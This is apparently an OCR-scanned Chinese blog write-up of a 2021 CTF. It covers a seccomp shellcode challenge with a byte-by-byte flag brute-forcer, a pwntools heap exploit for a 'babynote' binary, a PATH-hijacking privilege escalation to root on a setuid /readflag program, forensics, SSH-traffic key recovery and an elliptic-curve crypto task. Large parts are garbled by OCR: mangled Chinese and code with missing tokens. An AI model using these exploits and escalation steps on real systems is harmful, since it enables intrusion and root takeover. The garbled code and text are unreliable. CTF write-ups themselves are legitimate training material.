20215 IEAF S R FEwp

Draper.? F 2021-08-30 13:03:36 K Af 249 L

RER: EiEMwp 2021 cff LERSE:  python linux

FRAUE B . ASCNEERAISCE, 5 CC 4.0 BY-SA JRAUHML, HEFM LR CH e mA RS,
ACEERE: https://blog.csdn.net/onl_llo/article/details/119994580

1R3CE 0T
N =

| ctf
2WLEOITH

TSR

20215 8 A &= U&%Wp
pwn

secretcode

[*] '/home/chenhaohao/pwn'

Arch: amd64-64-1little

RELRO:

Stack:

NX:
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[*] Switching to
i CODE JT

0x00000004
OxcO0e003e
0x00000000
0x40000000
OxfFFrffffff
0x00000002
0x00000000
0x00000014
0x00000000
0x00000000
0x00000010
0x00000014
ox7fffoeoo
0x00000000

interactive mode

if (A != ARCH_X86_64) goto 0013
= sys_number

if (A <0 00E00) goto 0OOS

if (A 1= Ffffff) goto 0013

if (A == open) goto 0012

if (A != read) goto 0013

A=fd >> 32 # (

if (A > 0x0) goto 6912

if (A != 0x0) goto 0013

A = fd # read(fd, buf, count)

if (A < 0x14) goto 0013

return ALLOW oM
ebin L CSDN @Draper.?

buf,

re

= p|1r.§1['=======: Input your secret code ========");
= getpagesize();
12 HIBYTE( ] = O3
1 LODWORD( )y = 0;
= (cha ;E T 15 Jmmap | { d *)x20an, P Ty 34, 0, OLL);// EERN—AoexfRE
= {char * H
- 1;
- r;ad[ﬂ. E » 0xd0ulL)y Ff SANEbeEP

pretl{la, 1LL, OLL, OLL);:
= pretl(4, OLL};
= gacoomp_init{0LL);
= OxTFFFOO0O;

*| QWORD *)&v
o [ QW "1k
= 0LL;
= OLL;

o I
2 = seccomp rule add(
= seccomp_rule add[vii,

= seccomp_load( H

21474836480LL;
+ 1) = 20LL;

OxTFFFO00OLL, OLL,

f{ PR _GET WO MEW PRIVS

» DxTFFFOODOLL, 2LL, OLL);// EHFRLEE

1LL);

= gtrepy|mem, 1] £ onEER |
i H

= w4 /¢ MiTshellcode

{(void fastcall *){signed 64, signed _ intE4, Big t64 ) jmem) (0xDEADBEEFLL, OxDEADBEEFLL, UxDEADBEEFLL);
= _ readfsqword(0x28u);
if --
= QLL; s - 2
] return ] '__;_.'_ 1 h!-'_.-’ _’ :| JJ"T.’ M /



: @x00peoPeEEOO10000

0x0000000500000000

; Oxdeadbeef
: Oxdeadbeef
- 0x0000000500000000

; Oxdeadbeef
: Oxdeadbeef

. OxfFFFFfff
. ©X50
. 0x0000000000010000

: Ox00007ffff7971340 Oxfffe7350fff07340

! 1 1

: 0x0000000000000001
: Ox8

: Bx0

: [zero carry parity adjust sign trap INTERRUPT direction overflow resume v
cation]
1 9x0033 : Bx002b ! 8x0000 1 0x0000 : Bx0000 : Bx0000

+0x0000: ©0xHOEOO00500000000
+0x0088: O0x000EOOEEEOOORO14
+0x0010: 0x0000000000000000
+0x0018: ©0xH0EOO00O0BO0O340
+0x0020: Ox0POEOOODOEOO1OERE -
+0x0028: Ox0ooooOoOOOOOOlO0OO -
+0x0030: ©0xH0EO000000E00000
+0x0038: Ox7fffOOEOROAOOO00
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% {5 1E itk 35 flag

% % X openikflagxt B ) fd A 0x 14

R JEreadist U 4N A Blrspht

PR [rsp+idx ][4k i 7 RF, S8 C, W FEFE P, 5 W) 3t fik & (14~ SIGV
i

¥ "flag": mov eax, "flag" 7] LAk 4 00 Hi 3R

85 (% BT LB id xor reg, reg; inc reghi it K

import sys
from pwn import
context(arch

def Log(name):
log.success(name (name)))

elf path
elf = ELF(elf_path)

def Num(n, 1=8):
sh.sendline( (n))




def Send(c):
sh.recvuntil(
sh.send(c)

def GDB():
gdb.attach(sh,

def BruteChar(sh, idx, C):

)

(idx, C)
try:
sh.sendlineafter( , asm(exp))

sh.recv(timeout=1)

return True
except:

sh.close()

return False

flag
while (flag)<ox30:
for C in (0x20, Ox7F):
if( (sys.argv)==1):
cmd [ ]
sh process(cmd)




if(BruteChar(sh, (flag), C)):
flag (@)

print(flag)

break

babynote

parallels@parallels-Parallels-Virtual-Platform:~$ checksec ./pwn
[*] '/home/parallels/pwn'

Arch: amd64-64-1ittle

RELRO:

Stack:
NX:
PIE:

Bt
Add: iElcontz i &R E# E00

Edit:

1l unsigned inted Edit()
z{
3 int6d idx; // rbx
i int vl //f erll

maigned inted resultp; /f rax
& wunsigned _ inté4d wvi; // =
7 unsigned __int64 wd; //

vd = :andfsq\mrdtﬂﬂﬂuj

prln‘tf chk:lLL, _de> )iz
11 idx = abs({unsignac in %Jnead.'hong“} & OxF;
12| if { tE‘ter[ x] || 'Slzenrr[ %]
13 Error();
4| __printf_ chk:lLL; offset> ");
15 vl = abs{{unsigned int)ReadLong()) % SizeArr[idx];// absEEMHH, WA-(2-31), EE-(2"31)
16 pr:.ntf chk:l‘LL m.;g»' §
1 = raadfsqwurd[ﬂnzauj
1 if [ vi=vi)
20 result = ReadNLJ.nei_tch:‘r: #)PtrArr[idx] + vl, SizeArr[idx] - vl);//f 1{_)\[,.‘,.,;-5"=Tl.,ﬁ"‘ﬂ, nlE'ﬁ,ﬂQi‘f}
21 return resultj Lo

R KB, abs(X)%SizeArr[idx] ##7E i 8, 24 offset = - 2A31H}
SizeArr[idx] = 0x30t, v1 = -0x20,

Size ¥ 0x1308f, v1 = - 0x120

R MR (RiB E ) H )5 [ ReadNline ()i 5t < % 5T (I chunk
B %

1.5 %84 chunk 4R J5 HHiFitcache, M[145 3] 1/NUBchunk

2 R JEVIEIUBchunk, M8t B Flibcibit, F) O EditiE s 3 B 003k it 8 libc ik
3R JEH Dabs(offset)I#E i, 1B chunksize, IEchunkif [, 4R 5 Btk Tcache FH B
R IE H R, AT BV /S [ chunk ifd T

import sys

from pwn import




context(arch

if( (sys.argv)==1):
[ ]

process(cmd)

remote ( » 14269)

def Log(name):
log.success(name

elf path
elf = ELF(elf_path)
libc = ELF(

def Num(n, 1=8):
sh.sendline( (n))

Cmd(n):
sh.recvuntil(
Num(n)

def Add(size, msg
if msg
msg
Cmd(1)
Cmd(size)
sh.recvuntil(
sh.send(msg)

Edit(idx, size, msg):
Cmd(2)

Cmd (idx)

Cmd(size)
sh.recvuntil(
sh.send(msg)

Delete(idx):
Cmd(3)
Cmd (idx)

Show(idx):
Cmd(4)
Cmd (idx)

GDB():
gdb.attach(sh,

i in (0, 8):
Add (0x130)

for i in (0, 3):
Delete(i)

for i in (7, 3, -1):
Delete(i)

Delete(3)




sh.recvuntil( 8)
libc.address ub4(sh.recv(6) )-0x3ebdde
Log( )

Add (0x130)

exp = cyclic(0x110)

exp+= flat(@, Ox2EQ)

Edit(9, -(2**31), exp.ljust(0x250,

Delete(9)

exp 0x130

exp+= flat(@, 0x140, libc.symbols|
exp

Add (0x2D0, exp)

Add (0x130, )
Add(0x130, flat(libc.symbols|
Delete(11)

sh.interactive()
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Oday redis S shell pop%
b J5gzipE4E T~ kA% pharfT O F

Firefox =¥ Wi 8 He #E¥ TR EHO WL

L # Wihoops! ® A ac-DaetiSkapkes X ipech 2okl ¥ bopded Jzetdikapk, ¥ [ PharSiream Wrar 3 RTO0Apublicindecpt X PHP LEDS - pheinfell X EmorEecent
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VWhoops!

We seem to have hit a snag. Please try again later...
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W R/readflag & I 75 ZHRAL

& Firefox 0P WM 7 mE i THA WO Wm
[ RN ) # Whaoops! X A eci-ZmefzyiBkapkyn X httpffeci-Zeefzyifkank, X | hitecleci-Zeefzyilkapky % | [ PherS Stresn Weaps X 122040 fpublicfinde gl
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ERROR - try to get flag
total 8

=rWxr=xr=x 1 root root 42 Aug 24 82:01 flag

-rwxr-xr-x 1 root root 775 Aug 23 1B:36 flag.sh

=-> Session: Got RedisException on close(): Redis server went away
ERROR - try to get flag

total 8

=rWxr=xr=x 1 root root 42 Aug 24 82:01 flag

-rwxr-xr-x 1 root root 775 Auwg 23 18:36 flag.sh

——= Session: Got RedisException on close(): Redis server went away
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TERE A

iy B BB ) o B Q@ kg Fy# e X > O
MenEs s Esasmme e m

l Regular function - Instruction = Data = Unexplored External symbol
e o @[ IDAView-A @[T

nt _ cdecl main(int argc, const char **argv, const char **envp)

-

setgid(0);

setuid(0);

seteuid(0);

system("echo 'try to get flag'|');
systeam("ls -1 /root/");

return 0}
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www-data@engine-1:/$ echo "/bin/sh" > /tmp/id
echo "/bin/sh" > /tmp/id

www-data@engine-1:/$ export PATH=/tmp:${PATH}
export PATH=/tmp:${PATH}

www-data@engine-1:/$ echo $PATH

echo $PATH

ftmp: /usr/local/sbin: /usr/local/bin: /usr/sbin: /fusr/bin:/sbin:/
www-data@engine-1:/$ /readflag

/readflag

try to get flag

total 8

-rwxr-xr-x 1 root root 42 Aug 24 02:01 flag
-rwxr-xr-x 1 root root 775 Aug 23 18:36 flag.sh

L

-

www-data@engine-1:/5 echo "/bin/sh" > /tmp/ls

echo "

/bin/sh" > /tmp/ls
www-data@engine-1:/$ /readflag
/readflag
try to get flag
total 8

rwxr-xr-x 1 root root 42 Aug
-rwxr-xr-x 1 root root 775 Aug
www—data@engine-1:/$ chmod 777
chmod 777 /tmp/ls
www-data@engine-1:/5 cd /tmp
cd /tmp

www-data@engine-1:/tmps 1s
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d
fbin/sh: 4: d: not found

uid=33 (www-data) gid=33(www-data) groups=33(www-data)

uid=33 (www-data) gid=33(www-data) groups=33(www-data)
Jreadflag
try to get flag

ls
id
uid=0(root) gid=0(root) groups=0(root) ,33(www-data)

cat /root/flag
ﬂag{'agz 73b58-bd9e-4129-b45c-05 bedeCgfg}l CSDN @D ra per )
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3 95 BGIE

Z3MGERANESEE, ERTFERRE R, RETEER, &4 vndk, ERNH, B
H#H
HEAA 001 814

HERE * Mew Volume (Z:)

e M r R & oy 30
| = 2

&n zhangsan.001

thangsan.ad1.txt

H#F R-STUDIO T.A B /A% flag

LT T TRARE b HEir

Tlasg{6B4e1 fof-e2e9-4a58-b1 54-458d8dfcaed}

ssh_traffic

e %R FE AR 3k B hitps://ctftime.org/writeup/29392
RERBRMHERETR
TAZELERETHER, BEERZE LT HESERNER RERN E—RBXE, AFREHE.
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TESE A top R F key,josn

‘ Wireshark - iBFz TCP §& (tcp.stream eq 2) - traffic pcapng - [ | b4

“foas1e66dce?atdeatddadf2ef7aadbechcB6ated3onsis3c375f4c33eb
1e129fec3c88d2503e7042a74d2144178571bf2c9402a547bae3daboses
fafd7sffe™, “iv™: ™", Tsshenc™: {"
“ciphe 9456422825512, “enabled”
“iv_len": @, "block size™: B, “key":
04564229883472}, "network connections™
» "laddr™: ["192.168.178.131", 22], “raddr”:
"status”: "ESTABLISHED", "type”:
: 4603, "proc_name”: “ss , "sshenc_addr”:
94564230061848, “cipher_name":
polyl3es@openssh.com™, "key™:
"cedpde@IlalsabsadcsfAeTibellcAceca?sa7eo08d47f121addof5447
c8d2d494863c7a105c924e479f1719884732fd31aaa5b4892ec4ba7bcaed
1d7b826ea™, "iv": "", " enc”: {"name": 94564229888672,
"cipher”: 94564228255128, "enabled™: @, "key_len": 64,
"iv len": @, "block size": 8, "key": 94564229873184, "iv":
04564238023680}, “network connections™: [{"family": 2, “fd":
s "laddr”: ["192.168.178. ", 22], “raddr®:
02.168.178. ", 58192], "status™: "ESTABLISHED", "type":

1}1}

HE . 1 BFR AE, 0 FEE HE. 0 venla) AHBH.
B 73% (1170 bytes) | Bhow data as |ASCII v ik [z El

=Lt
AR T8 AR
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BECTBORE, key R A 404LAT DA
SHEHERE: https://blog.csdn.net/ckm1607011/article/details/106849551/

p 199577891335523667447918233627928226021
E EllipticCurve(GF(p), [1, ©, 0, 6745936378050226004298256621352165803,
27906538695990793423441372910027591553])
print(E)
E.gen(0)

E ( XXXXXXXXXX y XXXXXXXXXXXX )

E ( XXXXXXXXXXXX 5 XXXXXXXXXXXXXX )

E ( XXXXXXXXXXX y XXXXXXXXXX )

point_2=key*public
M=cipher-point_2
print(int(M[e]) (M[1]))

WiES: BEKEIE, BITREREHF - SHEREEENEZMEUAL, —&
EHOCE, R KSR B !
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